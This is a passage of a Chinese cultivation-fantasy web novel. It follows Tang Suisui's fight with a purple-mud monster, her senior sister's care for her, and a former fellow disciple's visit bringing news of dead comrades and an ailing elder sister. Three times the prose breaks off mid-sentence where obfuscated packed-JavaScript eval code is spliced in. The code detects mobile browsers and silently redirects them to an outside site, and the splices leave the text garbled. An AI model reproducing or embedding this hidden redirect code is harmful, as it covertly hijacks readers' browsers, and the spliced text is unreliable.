看着怪物身上的紫泥翻涌,她感觉有东西止不住涌上喉头。她从未见过这幅令人作呕的模样,她又不敢撇开视线,生怕被怪兽发现时没有及时躲避。 她就这样站在原地僵持着,皱起眉头不断压抑着呕吐的感觉。她捏紧了拳头,靠指甲掐进肉里的疼痛感,保持自己不要当场呕吐出来。 它不像刚才遇到的猛虎一般拥有实体,汤穗穗握着手里的剑不知从何下手。再加上怪物的形象让她难以忍受,她感觉自己坚持不下去,脑海中想到了师姐方才拿过来的玉牌。 ……要不要就现在放弃? 要是她打碎姬忘尘的玉牌,她只需要在这里等师姐处理就好了,再也不用面对这团恶心的紫泥。 “……这个问题的答案,得取决于你的选择……”汤穗穗想起秦姨是这么说的。 可是,她还没知道紫气的真相,难道就要这样退缩吗? 汤穗穗硬生生地将喉头的酸涩压下,咬着牙再一次握紧了手中的木剑。 她不要放弃。 ——至少在尝试之前。 汤穗穗全神贯注地盯着紫泥怪物,怪物好像感知不到她的位置,一直在面前徘徊了许久,都没有发现自己的身影。 为了验证自己的猜想,她小心翼翼地从身边捡起一块石头,狠狠地扔到另一侧——果然,那个怪物循着风声扑去,意料之中地扑了个空。怪兽不满地发出难听的嘶吼声,身上的紫泥流动得更加恶心。 汤穗穗却因此轻轻地松了一口气,果然如她所料。 虽然这一招很冒险,但是也很有用,所幸这个怪物也没有循着反方向查找的意识。 一个计谋在汤穗穗心里逐渐成型。 她一边紧紧地盯着怪物的动作,用身旁的石子吸引怪物的主意,一边慢吞吞地起身,她减缓自己的动作,她挪动着步伐小心翼翼地靠近怪物。 几番尝试之后,她顺利地靠近怪物,看准机会直接往前一刺。 金光包裹的木剑穿透了怪物的身躯,怪物发出一声哀嚎,紫泥翻涌着——她见状用力将手上的木剑往更深处送去。这次紫泥怪物彻底没了气息,化作不成型的烂泥摊在地上,而后化成青色的灵气消散到半空。 随着气团的消散,四周好像被撤去了什么禁制,阳光争前恐后地落在了地面上。 因为汤穗穗用尽了全力往前,没有想到怪物消散的如此之快,她一下子失了平衡,往前扑倒地面上。树林中的风还在不时吹动着头顶的树丛,天光将这次照得明亮,周围已经消失了怪物的身影。 汤穗穗坐在原地,胸口的心脏砰砰直跳,她还有些迷茫,脑中似乎被一团乱麻塞住。她觉得周围的气息变得很舒服,让她一直紧绷的神经放松下来,迟钝的大脑开始转动。 方才那团令人作呕的怪物……究竟是什么?这就是师姐所说的存在吗? 那些是神秘的紫气究竟是什么?怪物就是由它组成的吗? 既然师姐知道,那是不是代表着,秦姨也是知道这些事情的? ……而她们真正的身份又是什么?那秦姨支持她跟师姐走得这一遭,目的究竟是什么? 她并不认为她们会伤害自己,只是她们藏了许多不方便和自己揭露的秘密。 ……她们说的“还不是时候”,是不是代表着,如果她知道了这些秘密,就必须做出一个决定? 夕阳的余晖照在她前方的道路上,镀上金黄的外衣,不管汤穗穗心中有多少想法,她得先从这里走出来。方才的躲避与攻击中,她的掌心被地上的石砾划伤,细细密密地生疼。 汤穗穗撑起自己的身体,即使击退了怪物,但她还有些心有余悸。汤穗穗想起师姐离开前交给自己的玉牌,心中又增长了几分信心。她手中拿着木剑,即使心中仍在打鼓,但她也必须往前走。 不管前方还会有多少像刚才那样的怪物,汤穗穗相信自己一定能够化险为夷。 不过往后的路途不再凶险,只是偶尔寂静森林中的声响还会吓到她。 汤穗穗慢慢地走着,眼前的道路逐渐开阔,眼看着要走到尽头时,汤穗穗在尽头看到了熟悉的身影。 姬忘尘听到了她的脚步声,将视线从远处收回,和她对视。 汤穗穗和姬忘尘对上了视线,喜上眉梢。她没有想到师姐会在出口处等着自己,高兴地加快了脚步,小跑到对方的面前。 不过在离着几步距离停下了脚步,汤穗穗不好意思地挠挠头:“师姐,是不是等我很久了?……是我耽误你了吗?” 姬忘尘沉默地看着她,视线从她凌乱的头发划过,扫到她掌心混合着砂砾的伤口。汤穗穗的头发变得乱糟糟的,混了一些枯叶;脸上也灰扑扑地布满泥尘,衣服上全是脏兮兮的印子。 她的模样十分狼狈,唯有那双眼睛依旧明亮。 其实自己一早就处理好路上的麻烦,站在岔路汇合处。出乎她意料的,汤穗穗一直没使用自己给她的玉牌。她在出口等了将近一个时辰,才看到对方的身影。 本来以为这个咋咋呼呼的小姑娘熬不了多久。 那条路不算凶险,只是仍有余祟。曾经教授给她的武艺和防身的符箓已经完全够用,更何况还放了护身灵符与玉牌,凭她平时灵巧应变的能力便已足够。 选择和汤穗穗分开,也是想让她直面真实的世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424773|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界。说不定会让她因此受到惊吓,然后顺理成章将她送到山下小镇,了结这桩尘缘。 ……或许师傅的考量也是如此。 汤穗穗感受着师姐的沉默,以为是自己灰头土脸的模样特别难看。不好意思地伸手抓了抓头发,碰到掌心伤口时还发出了轻微的抽泣声;避开掌心又拍了拍身上的灰尘,最后抓起袖子抹了把脸——她总之把自己弄得更脏了。 汤穗穗抬头咧着嘴傻笑着看向师姐,全然不知自己的狼狈模样。 算了。 姬忘尘上前拉下她的手,从怀里掏出洁白的手绢,低着头放缓了动作给她的掌心挑出砂石。 师姐的动作很轻,尽量避免加重伤口的状况。汤穗穗感受到师姐没有怪罪自己的意思,又恢复了寻常的状态,兴高采烈地描述着方才的见闻,以及自己是如何灵机一动,解决那团不知名的怪物。 姬忘尘沉默着听她讲完,目光仍放在对方的伤口上:“……为什么不用玉牌?” “嗯?”汤穗穗眨了眨眼睛,理所应当地开口:“因为我自己可以解决啊!” “不怕有危险吗?” “不会啊,我相信师姐。如果真的有危险,你不会让我一个人去面对的。” 姬忘尘没想到是这样的回答,她的动作顿了顿,但很快她恢复了常态,将随身携带的药粉洒在汤穗穗的掌心里。 有些疼。 汤穗穗不自觉地想要缩回手,却被师姐紧紧地捏着手腕,乖巧地看着师姐的处理。 姬忘尘将手绢在汤穗穗的伤口处缠绕几圈,做了简单包扎,抬头看着对方明亮的眼睛:“……为什么这么相信我?” “因为师姐很强,我相信师姐的一切判断!”汤穗穗扬起脸,丝毫不觉得自己的信任有什么问题:“而且玉牌是师姐给我的第一份礼物耶!我怎么能这么轻易就用掉?” “因为师姐很强”,理所当然的答案。 姬忘尘在心里重复着,眨了眨眼避开了对方的视线。 “……这不是礼物。”姬忘尘放下汤穗穗的手,无奈地解释:“更何况你收到过的礼物也不少。” 往年对方生辰、佳节庆贺时,秦无纪总会给汤穗穗准备礼物,因此姬忘尘也能沾光收到一份。 “我说是就是!那些都是秦姨给的礼物,师姐你还没给过我呢!”某些时候汤穗穗总有自己的歪理,此刻更是笑眯了眼,得寸进尺地再一次抱住师姐的手臂,仰着头讨要一个夸奖:“——师姐,我可是一个人处理完了哎,你怎么都不夸夸我?” 姬忘尘和别人打交道的经验更是少之又少,又不像秦无纪一样拥有丰富应对汤穗穗的经验,此时更是手足无措。以往在山上对方也时常缠着自己,不过很少这么直白地讨要夸奖。 姬忘尘记得师傅常说汤穗穗是很会“恃宠而骄”的孩子,她试探性地顺着对方开口:“……夸?” “好耶!师姐夸我了!”汤穗穗抱着手臂的动作缠得更近了,发出了欢快地欢呼。 姬忘尘虽然不知道汤穗穗在傻乐什么,但她看到对方就像孩子讨到了想要的糖果一样,露出了心满意足的笑容,自己也压不住嘴角的微笑。 ……或许师傅留下她除了不觉得是累赘之外,还在于她比较讨喜吧。 思至此,姬忘尘眨了眨眼,嘴角的笑容暗淡了些许。 8. 旧识相见 解决了突发情况,姬忘尘带着汤穗穗路过山下的村镇,从镇外绕道山脚下的土地庙。此时夕阳西下,庙前虽没有了排成长队等候的人,但那个走方的姚姓郎中还在摊子前低头书写着什么。 汤穗穗想起早上发生的事情,想要分享给师姐。然而师姐望向来人的神情很坦然,对郎中出现在这里的身影并不意外。 其实回山上有很多条路,完全不需要绕到土地庙这个入口上去。汤穗穗有些怀疑师姐专门来一趟土地庙就是为了这个人。 “等我一会。”师姐不知道汤穗穗的猜测,只是微微偏了头留下一句话。 迟钝如她,也感觉出这人来历非凡。 还没等她开口发问,师姐就径直地往那人的方向走去。汤穗穗好奇地跟上师姐的脚步,想看看师姐和对方究竟有什么渊源。 师姐也看到她的动作,但没有理会,依旧往郎中的方向走去。 郎中听到脚步声,笑着放下手中的笔,抬头说道:“你来了。” 郎中话语中透露的熟稔,让汤穗穗的眼光止不住在两人之间回扫,心中的疑惑越积越多。 姬忘尘也没有卖关子,她站在两步外,微微低头拱手,面色如常地开口:“姚师舅。” 嗯? ——谁? 这个走方郎中居然是师姐的师舅?! 听到师姐开口,汤穗穗瞳孔颤抖,猛地看向郎中,正好对上他脸上绷不住笑容的神情。 “姚师舅此次前来,有什么要事吗?”姬忘尘脸色淡然,将话题引了回来。 姚郎中一边收着桌上的东西,一边装作不在意地开口:“怎么?没有要事就不能来了吗?” “不敢。”姬忘尘嘴上说着不敢,但脸上并无丝毫怯意,“如果为了宗门大比,师舅放心,我会如期参加,请回吧。” “你是个有主意的孩子,我倒是不会担心这个,”面对她一如既往的直性子,姚郎中有些无可奈何,“我就是四处走走,正好走到这里,没必要这么快下逐客令吧。” “师姐,郑婶说他来有几日了……我怀疑他不是简单地‘四处走走’。”汤穗穗抓着师姐的袖子,低声插话。即使不知道为什么对方出现的目的,她想师姐好好分析对方的目的,毕竟防人之心不可无。 听到汤穗穗的话语,姚郎中忍不住逗乐的情绪,他挑了挑眉:“怎么,难道你还要离间我们不成?” “这我哪敢?”汤穗穗理所当然地回看,嘴上说着‘不敢’,但眼睛里满是挑衅。 姚郎中笑出声,无奈地摇摇头,面前两个人的脾气还真是如出一辙。 他记得自家师妹也不是这性格啊,怎么一个两个都这么有个性。 ……不过也是,师妹可不是什么任人揉捏的面团。 “既然不为了宗门大比,那师舅有何指教?”只有姬忘尘还记得她们讨论的重点。 这个问题问到点子上,姚郎中一会挠挠头,一会挠挠脸,又看天看地;说话支支吾吾,半天说不出个所以然。 汤穗穗想起还在山上的秦姨,嘴比脑子快地开口:“你是来看秦姨的吗?” “咳咳——这……我……”姚师舅没有想到汤穗穗这么直白地点破,被自己的口水呛到,忙开口辩解,几个字说了半晌,也没说出个下文。 听到汤穗穗的问话,姬忘尘将怀疑的眼神放在那人身上,那人眼神闪烁避开,神情有些不自在。 汤穗穗没等到对方的回答,心中有些不自信,怂怂地缩了缩肩膀,抬头问身旁人:“……我说错了吗?” “我想,是你说对了。”姬忘尘对上汤穗穗的眼神摇摇头,直到被汤穗穗挑白,她才后知后觉地把“对方来看望秦无纪”这件事对上号。她有些迟钝地想,过去几次遇到对方的时候,是不是对方在等待着自己出口,将其邀请上山? 姬忘尘自己对这些事情并不敏感,她读不懂弯弯绕绕中的潜台词,除非对方直接将话语挑明。 不过那些都是过去的事情了,姬忘尘也不会细想。如今对方的来意清晰,姬忘尘也不再多言,侧身微微弯腰,礼貌地做出邀请的姿势:“您请。” “不用这么客气,我跟着你们上去就好。”姚郎中有些尴尬地清了清嗓子,手脚很快地将面前的家伙什收起来,扫到随身带的无底乾坤袋里。做完一切之后,他站直身体,理了理衣服,也伸手回了礼。 刚跟着姬忘尘迈出去两步,他还是没忍住:“所以你一直都不知道?” “您也没说。”姬忘尘理所当然地开口。 姚郎中被姬忘尘的回答堵了回去,张着嘴不知道该说什么。 “……对师姐,您不妨有话直说。”汤穗穗路过姚郎中的时候友情提醒。 姚郎中站在原地拍了拍自己的脑门,他也没想到原来对方并非“不欢迎”而是完全“不知情”。 姬忘尘走在最前面,一言不发地打开了山门的禁制。 由于她本身就不是多言的性格,一路上保持着沉默;汤穗穗今天运动量超标,整个人都累得不想动弹,只想马上回到山上扑到床铺上休息一番。 而姚郎中和她们都不一样,心中藏着许多惴惴不安。过去的那件事成了他们的隔阂,不知道自那以后对方的态度究竟是怎么样。再加上和姬忘尘的乌龙交流,算起来他已经和秦无纪也有很久没见过,他有些摸不准见面之后应该怎么开口。 想到这里,他忍不住询问姬忘尘:“你师傅她近来可好?” “挺好的。”姬忘尘走在前面,头也不回地开口。 “那她这些年过得还习惯吧?”姚郎中忍不住追问下去。 “一会你就能看到了。” 姬忘尘的话语并无恶意,但过于直白很容易让人丧失聊天的兴致。 “师姐她不是故意的。”汤穗穗跟在她身后忙转身,低声向对方解释:“师姐她一向比较直接,可能听起来会有些不舒服。” “我没事。”在以往的交流中,姚郎中已经习惯了姬忘尘的说话方式,不过他还是有些意外听到汤穗穗的解释。 方才他只将注意力放在姬忘尘身上,现在才正式打量面前这个十六岁少女。 面前的少女眉眼弯弯,虽然看得出来满身疲态,但是眼睛依旧活力十足。他不着痕迹地用灵力过了一遍少女的身体,发现对方的灵气不多,不像是已经拜入师门的样子。但她的身上也有一定的训练痕迹,并且灵性天赋极高。 “我是姚成,是秦姨的旧识。”姚郎中介绍起自己的身份,顺势问起汤穗穗,“听到你喊忘尘‘师姐’,你是新收的门徒吗?” “我是汤穗穗,热汤的汤,稻穗的穗。”既然这个人是来见秦姨的,那就证明她们曾经有不小的交情,作为晚辈自我介绍也是理所应当的事情。汤穗穗想了想,她和师姐的关系也不算是师门的关系,“我和师姐的关系……我也不知道该怎么形容,应该是不算是你说的那种关系。” 面对性格截然相反的汤穗穗,姚成也就更好开口问山上的事情。当然汤穗穗也并非傻子,面对一些不方便透露的,她也会笑着打岔,转移话题。 姚成也听得出来汤穗穗的防备,他对汤穗穗认可地点了点头。 山路并不算长,很快就走到了山上。几人行到山中小屋门口时,秦无纪正在院中端着竹筐捡拾将晾晒草药收起来。听到她们的脚步声,秦无纪笑容满面地转身:“回来啦,你们还顺利吗——” 她的笑容在看到姚成的时候顷刻凝结在脸上,不自在地移开视线,声音里有说不出的冷淡:“你怎么来了?” “……师妹,好久不见。”姚成也猜想到秦无纪的态度,放缓了声音开口,脸上一副讨好的神情。他直到自家师妹的脾气,生怕面前师妹拿着竹筐就砸过来的时候,自己狼狈躲避的模样让两位小辈看了笑话。 秦无纪没有直接回应,转身就进了厨房,姬忘尘去园中的井泉简单清洗了双手,也跟着秦无纪进了屋内。 姚成觉得有些尴尬地刮了刮鼻子,数十年没见,他也不太好再套用曾经的想法去分析。汤穗穗看到他还傻站在原地,伸手拉着他的衣袖,将他往厨房带去:“来啊来啊,秦姨她没生气。” 姚成对汤穗穗的话不置可否,跟着她进了厨房,看着背对的秦无纪,迟疑地开口:“……师妹?” 秦无纪放下竹筐,烦躁地翻了个白眼,忍不住开口埋怨:“你还空手来,好意思吗?多了你这么个人,又要做你的份,麻烦死了!” “不用不用。”姚成上前两步拦下了秦无纪的动作,“我有带的。” 一张不算很宽大的木桌周围坐了四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424774|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人,姚成拿出自己的乾坤袋,摆放在木桌中间。汤穗穗眼看着他把一个脸盆大小的三层食盒缓慢拿出来。 他小心翼翼地打开食盒,将里面的菜品逐一摆在桌上,菜上还有淡淡的热气,香味勾得人肚中馋虫直动,鸡鸭鱼肉,应季时蔬,应有尽有。 汤穗穗眼睛发亮地看向面前的菜品,但还是等待着师姐和秦姨开口。 “快吃吧,趁还热乎着,一会凉了味道就不好了。”姚成看出她的心思,热情地招呼大家赶快动筷。 汤穗穗下意识侧头看了看身边的秦无纪,秦无纪朝她点点头:“吃吧。” 得到许可之后,她伸筷夹了离自己最近的菜品放进自己的口中,食材本身的鲜美和佐料融合得恰到好处,让她忍不住眯起眼睛。 秦无纪关注着汤穗穗的一举一动,看到她一脸惊喜的神情,脸色也忍不住变得柔和。即使十余载过去,她还是能一眼看出菜品的来历,似笑非笑地挑着眉看向姚成:“珍馐轩的?姚成,你还真是大手笔。” 珍馐轩是曾经秦无纪最爱去的酒楼,当时她们师姐弟几人任务结束后总是免不了在那里来上一顿。只不过当时走得匆忙,从原来的宗门离开之后,秦无纪再也没有回去过,如今也没有机会再去。 未曾想再一次吃上珍馐轩,是在这样的情景之下。 想到这里,秦无纪将视线落在姬忘尘身上,她的反应比汤穗穗要淡上许多。不过无论吃到什么菜品,她的脸上的神情变化都不会太大——秦无纪还是发现,姬忘尘动筷的速度倒是比寻常快了一些,想来也是很满意姚成带来的这一顿佳肴。 两个孩子都吃得津津有味,秦无纪心底也高兴起来,对姚成的怨气也就减轻了一些。 “快尝尝,看看和当时的味道差别大不大。”姚成打断了秦无纪的思绪,忍不住再一次催促。 秦无纪低头看向面前的菜式,轻轻地呼出一口气,拿起筷子夹了离她最近的菜品,缓慢地送入口中——味蕾的记忆被唤醒,味道一如当年。 不知道姚成有意还是无意,他这次带来的菜式都是曾经自己最爱吃的。这么多年过来了,秦无纪都几乎忘了,她还有这么一段关于美食的记忆。 美食当前,秦无纪顾不得当时的恩怨,全心全意地将自己投入到这顿难得的晚餐中。 和三人相比,姚成倒不那么沉浸在晚餐上,反倒和秦无纪说起了一些汤穗穗从未听说过的有趣的见闻,还提及了一些她从未听闻的名字和事迹。师姐也会在被提到的间隙,做出简单的回应。 即使她们有刻意照顾汤穗穗的想法,但她自己依旧有身为局外人的感觉。 她们口中所描述的那个世界,也是师姐方才带她窥见的角落,汤穗穗不由得对那样的世界产生了好奇和几分向往。 姬忘尘很快就吃完了,提前离席走出了室外,小跟屁虫汤穗穗也放下碗筷跑出去找师姐。 桌上就剩下秦无纪和姚成两个人。 “你来找我,究竟是为了什么?”眼看桌上的菜品就要被吃完,秦无纪还是开口问出了心中所想。 “这不是在山下赶巧了碰上忘尘嘛,在忘尘热情邀请之下,我想着也能来看看你,仅此而已。”姚成说瞎话完全不打草稿,笑眯眯地将当时的事实颠倒黑白地描述出来。 秦无纪听到这样的回复,完全不用多想就怀疑姚成在骗人。但对上姚成信誓旦旦的眼神,秦无纪还是没忍住将视线放在室外的姬忘尘身上,想要求证对方话语的真实性。 姬忘尘站在室外,月光浅浅地在她身上镀上一层柔边,汤穗穗站在她的面前似乎在问什么问题。姬忘尘敏锐地感知到秦无纪的视线,转头投来疑惑的眼神,等待秦无纪开口。 秦无纪连连摆手,姬忘尘才又将视线放回汤穗穗身上。 她的目光从姬忘尘面无表情的面庞上收回,带着怨气瞪了一眼面前这个险些忍不住笑的男人。真是太久没见连对方的性子都忘了,面前这个东扯西扯的人嘴里怎么会有实话呢? 与其相信姬忘尘有朝一日会主动邀请,那还不如相信明日的太阳打西边升起。 姚成注意到秦无纪嫌弃的眼神,还是没忍住捧腹大笑,眼角都有泪水泛出来。 “……我就知道。”秦无纪撇了撇嘴,没忍住又翻了个白眼。 9. 明月或有情 那顿饭之后,汤穗穗不知道姚成和秦姨说了些什么,对方简单收拾了柴房,就这样暂住在山上。汤穗穗起初还觉得是不是对对方有些苛刻,没想到姚成不仅住了进去,还每天都是乐呵呵的。自从姚成来到山上之后,秦姨和他不是在拌嘴,就是在拌嘴的路上。 在他们俩的相处中,她想起了以前的事情。那时候舅舅隔三差五来串门,总是爱和娘亲拌嘴,彼此吵吵闹闹的时候,娘亲总是看起来活泼很多。现在的秦姨看起来也是如此,或许她自己都没意识到,在姚成的面前,她不需要成为秦无纪的师傅、自己的秦姨,而仅仅是秦无纪。 这样真的很好,汤穗穗想。 不过姚成也不是什么都不干就住在山上,有时候会和练刀的师姐过招,有时候会简单指点汤穗穗招式的的不足,更多的时候接过了每天做饭的任务。 当然,姚成做饭也很好吃就是了。 和秦无纪相比,姚成的教授方式更轻松,总是伴着欢笑——当然是面对汤穗穗的,毕竟到师姐那种武艺水平,也没有什么需要指点的地方了。 是夜,秦无纪忙活完手头上的工作,想要回房间歇息时,转身看到姚成坐在院中,石桌上放了一个精致的酒壶和两个酒杯。 不用猜也知道,姚成就是在这里堵自己呢。 他仰着头,即使听到了秦无纪的脚步声,依旧头也不回地开口:“师妹来品酒吗?” 秦无纪顺着他的视线抬头,黑夜如上好的绸缎铺开千里,繁星点缀期间,衬得高悬如玉盆的明月愈发皎洁。 原来又到了十五。 恍然间,秦无纪以为自己回到了从前,那时候她们都还没生分。 每月十五,姚成若没有出任务,总会拉上剩下五个人,一品他最近搜罗的好酒。 但秦无纪很快回神,站在原地甩出了拒绝的话语:“不来。” 她本想从姚成的身边走过,但走到石桌前还是没忍住停步,看着桌上的酒杯开口:“长老的工作很清闲吗?她就这样放你出来了?” “喝两杯的功夫还是有的。”姚成并未细说,轻笑着往酒杯倒满了酒,抬头看向秦无纪:“既然不喝,那听师兄倒苦水的时间有吗?” “没有。”嘴上说着拒绝,她还是坐在了姚成身边,顺手将他面前已经满上酒的酒杯拿走,轻嗅——即使对酒了解不深,但她也能闻出来,这是家家户户都能自酿的米酒,远不及曾经姚成给她倒过的那些。 秦无纪刚想开口讥讽几句,只看到姚成心事重重地举起酒杯,闭眼轻呷。不过是山下最寻常的米酒,他也如品尝陈年佳酿般细抿。 看到对方这种状态,她的心中有些不自在,可嘴唇翕动片刻,终究什么话都没有说。 当年姚成是著名的好酒客,放下豪言要将天下佳酿饮尽,因此他的住所收藏了许多世间名酒。有的酒香气醇厚,长久不散;有的酒入口回甘,唇齿留香。饶是秦无纪这般不算好酒的人,也会被美酒勾得心动,总会去他那抢几杯酒。 只不过大师姐觉得耽于享乐,每次发现都会好一顿训斥,顺手拿上一坛子离开,美其名曰“没收”。 秦无纪记忆里有一次偷酒,两人你来我往喝了半天。没想到那回的酒度数比寻常的要高一些,两人都没顶住,直接昏睡一天,误了次日的训练。顺理成章地被大师姐发现后,两个人还嘴硬互相推卸责任,气得大师姐将两人拎一起扔到思过崖关了一周。 即便如此,灰头土脸的两人出来后不仅嘴上抱怨不停,手上还在互掐。 最后还是温柔的扬师哥把她俩拉开,暂时歇战。 站得稍远些、抱着剑的白师弟撇了撇嘴,冷冷地吐槽:“活该。” 在他身边的大师姐听到这话,伸手拍白师弟的肩膀挑着眉开口:“别在这给自己撇清关系,当我没闻出来你身上的酒味吗?” “师姐你自己喝得也不少吧!”听到这话的姚成跑到师姐面前嘴硬,他还记得自己那半罐子酒都被师姐以“没收”的名义拿到自己的住所去了。 面对姚成的指责,大师姐毫不留情地伸手拍了一掌他的脑袋,瞪着眼:“废话,谁让你误了训练被长老发现!” 至于年纪最小的邓师妹,听着他们的拌嘴捧腹大笑,最后甚至要抱着自己的手臂才勉强稳住身形。 那天恰好也是十五,最后一群人吵吵闹闹下,又跑到姚成那开了一坛好酒,心疼得姚成几天没理他们。 故人未逢今时月,今月曾经照故人。[1] 被当年的往事勾起,秦无纪没忍住唇角的笑容,但很快又被愁绪压下。她垂眸望着酒杯中明月出神,想开口询问其他几人的近况,却又不知从何开口。 姚成举起酒杯一口饮尽,入口的酸涩从唇舌顺着咽喉,流到全身。可酒水再酸涩,也比不上那些后来的事情盘桓在心口的感觉。 “在你走后第二年,小师妹为了镇佃百姓以身阻拦魔兽,拼尽全力也只堪堪救下半数人。同年,老扬因功法反噬……还有老白,”姚成好似能读出秦无纪心中所想,尽量放缓了语气,让自己的声音听起来不那么颤抖。还想勾出轻松的笑容,尝试了几次终究无果,“……你猜怎么着,老白,那么理智的一个人居然走火入魔,甚至暗自饲魔伤人。最终被师姐一刀了结,鲜血染红了那身爱穿的白衣。” 他想给自己倒了一杯酒,却止不住发抖,一连调整了几次呼吸,才终于斟满一杯。然而这次他没有喝,只是愣愣的看着酒水倒影里的身影出神。 他无意识地捏紧酒杯的边缘,眼睫轻颤,将那些年无人诉说的情绪断断续续地开口:“那日,我看的真切,他的眼睛血红,我险些认不出来那是曾经的天之骄子,也看不出那副意气风发的模样……你说,他为什么要走上那条极端的道路呢?明明,我们都以为他会有更大的成就……” 秦无纪虽然没有开口,但还是伸手盖住他的手背,将掌心的温度渡过去一些。她不是没有想过当时的人都已经离开的可能,只是当姚成将这些消息带来的时候,还是让她感觉心口被什么揪住,有些喘不过气。 姚成叹了口气看向秦无纪,笑容里满是苦涩:“……你走的这些年里,这山上来了许多人,又走了许多人。一晃数十载,我的身边能这样说话的,也就只有你和师姐。” 提到师姐,秦无纪将自己的手收回放在腿上意识地握成了拳,移开了目光看向地面,气息无意识地加重。她的语气变得生硬,不自觉地带上了怨气:“所以你只是来找我忆往昔的吗?” “这些话也就能和你说说了。”姚成闭眼将手中的酒再次饮尽,酸涩的滋味让他忍不住咂舌:“……要是找师姐,她指定把我赶出来。” 过去的师姐弟六人,姚成和秦无纪关系最亲近,而大师姐一直是他们心中望而生畏的存在。真让姚成去找大师姐叙旧,他也不知道该怎么开口。 秦无纪没有接话,两人沉默着,院落中只听到风声吹动山上树叶的“沙沙”声。不知过了多久,她听见姚成开口:“……回去看看吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424775|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我不要。”秦无纪脱口而出,当年的事情她还耿耿于怀,“反正她说了只要她在,就不会让我进山门。” “师妹。”姚成叹了口气,他知道师妹的症结所在,也就只有师妹还能保持这份直率。 正因如此,他才舍不得。 舍不得本无深仇的二人隔阂至此,甚至到最后都不能善终。 当年的事说不上对错,只是立场不同。那件事发生的时候,他们都太过年轻执拗,脾气上头时又顾不得对方立场。 若是欠缺台阶,姚成不介意自己成为那个台阶,只希望她们能够和好如初。 “实话说了吧,师姐她大限将至,没多久了……”姚成叹着气放下手里的酒杯,拍了拍秦无纪的肩膀,看着对方面容脱去了记忆中的青涩。 是啊,他的师妹如今也是独当一面的师傅了。 而自己也不再像当时那样年轻,千愁万绪上心头,忍不住感慨:“人老啦,见一面也就少一面了。” “什么意思?你在开玩笑吧……”秦无纪下意识地开口反驳姚成,但她的脑子蒙蒙的,明明没喝酒,却只觉得脑子里一片空白,不知道该做出什么反应。 假的吧…… 印象里强硬的大师姐……怎么会和“大限将至”联系在一起? 秦无纪后知后觉想起,她们已经二十年没见面。 不说大师姐,她自己的身体也已经不如曾经健朗。 “我也希望,我说的是假话啊,”姚成背着手抬头看着头上明月,晚风吹动他已夹着霜白发丝的头发,“当年她的位置架在那里,事情又恰好聚在了一起……抱歉,我们没做到冷静。这么多年过去了,就当卖我这个不靠谱的师哥一个面子,回去见见她吧。” 秦无纪的脑子“嗡”的一声,仍在消化着这个重量级的消息。 ——这才是姚成这次最大的来意。 “当然,选择权一如既往在你手里。不必强迫自己,”姚成往庭中走了几步,伸手擦掉眼角的泪珠,换上寻常轻松的口气,“……就当我酒后多话吧。” 今夜不知道为什么,汤穗穗就是翻来覆去地睡不着,她生怕吵醒同屋的师姐,悄悄地睁开一只眼睛,却发现不远处师姐的床铺却是空的。 她心生好奇坐起身,穿上外衣,小心翼翼地推开门,却没有在院子里看到师姐的身影。 汤穗穗四下张望寻找师姐的身影,却看到师姐盘腿坐在对面秦姨房间的屋顶上,一轮圆盘似的月亮高高地悬在她身后。听到自己的动静,师姐居高临下地掀起眼皮,确定了声响来源后,又闭上了眼。 汤穗穗紧张地咽下口水,往日师姐的冷脸看得多了,倒是第一次看到师姐这样的眼神,好似神女威严。更像她随身的环刃,闪着锋利的光芒,随时会给人致命一击。 还没等细想师姐的神态,汤穗穗隐约听到一墙相隔的院落有说话的声音,她蹑手蹑脚地藏在走出墙后,这里正好能将庭院中的人话语听得清晰。 她分辨出来,是姚成和秦姨的声音,但他们所谈论的内容是关于她们的过往经历。与前几日姚成提到的趣事相比,今日的故事满是血与泪,那是师傅她们面对的离别。 虽然看不到两人的脸色,但是她听得出来姚成声音里的悲伤。 听到最后也没有等到师傅的答案。 她背身靠在墙上,鬼使神差地抬头看向那轮莹白圆月,想起书中总以月亮盈缺提及人间离合。 ……明月啊,你究竟是有情还是无情呢? 10. 鱼与熊掌 汤穗穗听到他们对话之后,心绪难平,不管做什么事情都会想起这场谈话。她忍不住想,如果有一天她知道了娘亲她们的消息,她又会抱着怎么样的心情呢? 那晚之后,除她以外的三人又恢复到了之前的模样,秦姨也还是一样对姚成说话夹枪带棒的,师姐的脸色一如既往地冷淡——否测,汤穗穗真的以为那只是自己的一场梦境。 只是偶尔,会发现秦姨总会望着某一个方向止不住地出神。 “练武不要走神。”师姐的声音拉回了汤穗穗不断发散的思绪,“在想什么?” “我在想,额……”汤穗穗尴尬地挠了挠头,视线不自觉地在四周来回扫,最后锁定院中那棵光秃秃还没长芽的大树,“这树怎么还没发芽!” 